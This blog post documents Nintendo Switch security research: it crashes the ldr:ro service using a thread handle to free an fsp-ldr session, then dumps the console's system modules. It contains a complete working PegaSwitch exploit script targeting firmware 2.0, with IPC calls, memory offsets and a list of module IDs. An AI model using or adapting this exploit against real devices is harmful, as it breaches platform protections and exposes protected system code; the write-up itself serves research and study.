published on

Switch Interlude: Dumping the sysmodules

A version of this article was published in the research paper “Methodically Defeating Nintendo Switch Security” along with a complete overview of the security concepts of the Nintendo Switch, available here.

Intro

My finals being now a mere week away and myself just getting off the CCC I had a great idea, as always!

Working a bit on the Nintendo Switch.

For those unaware the 34C3 happened to host a talk about the Nintendo Switch, which led to an announcement from a modchip team of a new product ,rapidly answered by one of the speakers that was at the 34C3 giving a release date for an homebrew launcher followed by yet again another reaction from another team, showing off a coldboot exploit for the Switch.
Talk about a crazy week in this scene.

I won’t describe how to get Userland code execution on this blog as other people actually made very good summaries of the situation but if you would like to learn a bit more on WebKit exploitation you should read up this paper by phrack, this article on Google Project Zero this one on Pwn2Own 2017 or whatever you find on Google, really, if there’s one thing WebKit isn’t missing, it is security issues.

Crashing ldr

But enough talking about that, let us jump to the meat of the subject. Let’s assume we got enough access to talk to the services. The talk I referenced earlier explained a now very known flaw in the switch security, dubbed affectuously sm:h, which gives you full access to services if you don’t initialize it, allowing for a wider surface attack. While this was publicly known for a while, the next part of the talk was actually a bit more interesting: the talk has shown two methods to dump system modules: one through pl:u, allowing you to dump ns, which was publicly known for a very long time too, and another through fsp-ldr, allowing you to dump all the System modules not built-in in the kernel.
The core idea of this exploit is that fsp-ldr is used to load up in memory the code of the System Modules by the kernel, so if we took it over we could theorically dump all the said modules! While sm:h gives us full control over services, the kernel still only enforces one session at a time to be able to load up the said code, to avoid this kind of scenario.
That was without counting another bug.
What the kernel forgot was that if you crashed the module that took care of fsp-ldr, its handle would be released and so you could have another session of the said service running.

That means we need to crash a higher privileged service? Sounds doable.
Indeed, following the talk, they were able to crash the ldr:ro service to release a session of fsp-ldr, allowing us to mount the sysmodules and dump them at will! While they told us they used a thread handle to crash the service they did not gave us much more detail and that’s where things get a bit interesting!

Let me walk you through the way I did that.

var ldrro_mng_ptr = utils.add2(sc.mainaddr, 0x955558);
var ldrro_mng = sc.read8(ldrro_mng_ptr);
var ldrro = sc.read8(utils.add2(ldrro_mng, 0xc));

The first thing to know is that we need to get the ldr:ro handle that WebKit is using as otherwise the bug won’t happen by trying another handle.

sc.ipcMsg(4).datau64(0).sendPid().copyHandle(0xffff8000).sendTo(ldrro);

We then initialize the ldr:ro service using a Thread Handle, 0xffff8000, instead of the usual Process Handle, 0xffff8001. It’s a key part to the bug but we still have to do a bit more before getting to it.

sc.ipcMsg(2).datau64(0, nrrbase, nrrSize).sendPid().sendTo(ldrro);

As the LoadNro function requires a Nrr to be loaded in memory, to use the LoadNro function we have to setup LoadNrr with dummy values.

sc.ipcMsg(0).datau64(0, nrobase, nroSize, utils.add2(nrobase, nroSize), bssSize).sendPid().sendTo(ldrro);

We call the LoadNro and…it crashes! As simple as that.
As for the why though, when we call Initialize, svcGetProcessInfo is called, which is falsely assumed to take an input as a process handler, but can really deal with Thread Handles. The Initialization function then goes on, as if nothing happened until you call the LoadNro command which calls svcMapProcessCodeMemory, service which takes only a process handle as input and not a thread handle. This triggers a crash in the ldr module, releasing the fsp-ldr just enough for us to start a session.

Dumping the modules

So now that we crashed ldr:ro we should just have to mount sysmodules and dump them, right? Well almost, but not quite.

sc.getService("fsp-ldr", (hndle) => {
	sc.getService("lr", (lripc) => {
		var lr = sc.ipcMsg(0).data(3).sendTo(lripc);

First of all we get a handle to fsp-ldr, as said before, but we then have to get a handle to the LocationResolver service and retrieve an ILocationResolver of type 3, being NandSystem.

sc.withHandle(lr.movedHandles[0], (content) => {
	var buf = new ArrayBuffer(0x300);
	sc.ipcMsg(0).data(utils.parseAddr(module)).cDescriptor(buf).sendTo(content);

We create a new buffer to store the contentPath received using a C Descriptor(check IPC Marshalling in the Resources section)

var fs =sc.ipcMsg(0).datau64(utils.parseAddr(module)).xDescriptor(buf).sendTo(loader).assertOk();
And we finally mount our code! Now this is over right, there should be nothing left to do? Well ALMOST. What we receive is an IFileSystem, not raw content, so we’ll have to dump the content of this FileSystem to retrieve the sysmodules.

var fs = new sc.IFileSystem(sc, storage);
var path = utils.str2ab('/');
var res = sc.ipcMsg(9).datau64(3).xDescriptor(path, path.byteLength, 0).sendTo(storage);	
var dir = new sc.IDirectory(sc, '/', res.movedHandles[0], fs);
dir.DirDump(name);

While I’m using helpful handlers in that case so as to not manually have to do my own dumping code, I believe this is sufficiently clear to not require further explaination.

And…

00000000: 4e53 4f30 0000 0000 0000 0000 3f00 0000  NSO0........?...
00000010: 0101 0000 0000 0000 74af 1000 0001 0000  ........t.......
00000020: 7ef1 0800 00b0 1000 5c93 0a00 0100 0000  ~.......\.......
00000030: 61d6 0c00 0050 1b00 408e 0900 c031 0401  a....P..@....1..
00000040: 7c7b 8934 f26c 93bc a6de 7853 6b37 3a6c  |{.4.l....xSk7:l
00000050: 93bb 4bd0 0000 0000 0000 0000 0000 0000  ..K.............
00000060: 7df0 0800 e3e4 0300 d47e 0000 0000 0000  }........~......
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 08f2 0200 7eab 0000 f8cb 0200 1026 0000  ....~........&..
000000a0: 376f 1903 1418 5f0e 966d e80a d754 9c6e  7o...._..m...T.n

We have the system modules dumped!

Implementation

Here is the script I used. It works on 2.0, definitely not on 3.0+, unsure about below as the ldr:ro pointer might need to be updated.

var modules ={
		'usb' : '0100000000000006',
		'tma' : '0100000000000007',
		'boot2': '0100000000000008',
		'settings' : '0100000000000009',
		'bus' : '010000000000000A',
		'bluetooth' : '010000000000000B',
		'bcat' : '010000000000000C',
		'friends': '010000000000000E',
		'nifm': '010000000000000F',
		'ptm': '0100000000000010',
		'bsdsockets': '0100000000000012',
		'hid': '0100000000000013',
		'audio': '0100000000000014',
		'LogManager.Prod' : '0100000000000015',
		'wlan' : '0100000000000016',
		'ldn' : '0100000000000018',
		'nvservices' : '0100000000000019',
		'pcv' : '010000000000001A',
		'ppc' : '010000000000001B',
		'nvnflinger' : '010000000000001C',
		'pcie.withoutHb' : '010000000000001D',
		'account' : '010000000000001E',
		'ns' : '010000000000001F',
		'nfc' : '0100000000000020',
		'psc' : '0100000000000021',
		'capsrv' : '0100000000000022',
		'am' : '0100000000000023',
		'ssl' : '0100000000000024', 
		'nim' : '0100000000000025',
		'lbl' : '0100000000000029',
		'btm' : '010000000000002A',
		'erpt' : '010000000000002B',
		'vi' : '010000000000002D',
		'pctl' : '010000000000002E',
		'npns' : '010000000000002F',
		'eupld': '0100000000000030',
		'glue' : '0100000000000031',
		'eclct' : '0100000000000032',
		'es' : '0100000000000033',
		'fatal' : '0100000000000034',
		'creport' : '0100000000000036',
		
};
function dumpModule(module, loader, name) {
	//We need a ILocationResolver to pass to fsp to say what we are reading so we're getting a handle
	sc.getService("lr", (lripc) => {
		//3 is the StorageID for NAND System
		var lr = sc.ipcMsg(0).data(3).sendTo(lripc);
		sc.withHandle(lr.movedHandles[0], (content) => {
		        //We are getting our ContentPath needed for fsp, c being the "receiving" buffer 
			var buf = new ArrayBuffer(0x300);
			sc.ipcMsg(0).data(utils.parseAddr(module)).cDescriptor(buf).sendTo(content);
			
			//We are now mounting our code region
			var fs =sc.ipcMsg(0).datau64(utils.parseAddr(module)).xDescriptor(buf).sendTo(loader).assertOk();
			sc.withHandle(fs.movedHandles[0], (storage) => {
				//utils.log('Got IFileSystem handle: 0x'+ storage.toString(16));
				var fs = new sc.IFileSystem(sc, storage);
				//I wasn't able to use the OpenDir built-in of reswitched, it seems to be broken, so I created my own instance of IDirectory
				var path = utils.str2ab('/');
				var res = sc.ipcMsg(9).datau64(3).xDescriptor(path, path.byteLength, 0).sendTo(storage);	
				var dir = new sc.IDirectory(sc, '/', res.movedHandles[0], fs);
				//DUMP ALL THE THINGS
				dir.DirDump(name);
			});
		});
	});
}

utils.log("stage1, getting webkit ldr:ro handle");
//We are reusing WebKit's ldr:ro session 
var ldrro_mng_ptr = utils.add2(sc.mainaddr, 0x955558);
//utils.log('ldr:ro management str base ptr is: ' + utils.paddr(ldrro_mng_ptr));
var ldrro_mng = sc.read8(ldrro_mng_ptr);
//utils.log('ldr:ro management str base is: ' + utils.paddr(ldrro_mng));
var ldrro = sc.read8(utils.add2(ldrro_mng, 0xc));
//utils.log('ldr:ro handle is: 0x' + ldrro[0].toString(16));

utils.log("stage2, connecting to ldr:ro");

//Most of what's below is unecessary but we needed to setup a fake nrr in memory through
//LoadNrr to call LoadNro, being the function that allows us to crash loader.
var nrobase = sc.malloc(0x1000 + 0xfff);
var nrrbase = sc.malloc(0x1000 + 0xfff);
var nrrSize = 0x1000;
var nroSize = 0x1000;
var bssSize = 0x900;
 
//We initialize with a Thread Handle, 0xffff8000 instead of current process handle, 0xffff8001
sc.ipcMsg(4).datau64(0).sendPid().copyHandle(0xffff8000).sendTo(ldrro);
//We setup a fake nrr loading sequence 
sc.ipcMsg(2).datau64(0, nrrbase, nrrSize).sendPid().sendTo(ldrro);

utils.log("stage3, crashing ldr:ro");
//Just calling a normal cmd0 will crash since it will call svcMapProcessCodeMemory during LoadNro sequence using a 
//thread handle, attempting a process handle. This happens because svcGetProcessInfo in ldr:ro initialize can also take up
//a Thread Handle as an argument, while svcMapProcessCodeMemory will bug out on it
sc.ipcMsg(0).datau64(0, nrobase, nroSize, utils.add2(nrobase, nroSize), bssSize).sendPid().sendTo(ldrro);
 
utils.log("stage4, connecting to fsp"); 

sc.getService("fsp-ldr", (hndle) => {
	//utils.log("Got an handle to fsp: 0x" +hndle.toString(16));
	utils.log("stage5, dumping sysmodule"); 
	for (var name in modules) {
		utils.log("dumping " + name);
		try {
			dumpModule(modules[name], hndle, name);
		    }
		    catch (e) {
		    }
	}
});

References

http://switchbrew.org/ for the documentation on the IPC commands using during the whole article.
https://reswitched.github.io/SwIPC/ for complementary documentation about the format of some arguments.
https://github.com/reswitched/PegaSwitch for the tool I used to interact with my console through ROP.
To Reverse Engineer such commands you would have to check webkit, or whatever you had access to, binary and hope to find something useful or get yourself a copy of the SDK provided by the manufacturer, as they are after all a development platform, so needless to say the documentation was very much appreciated.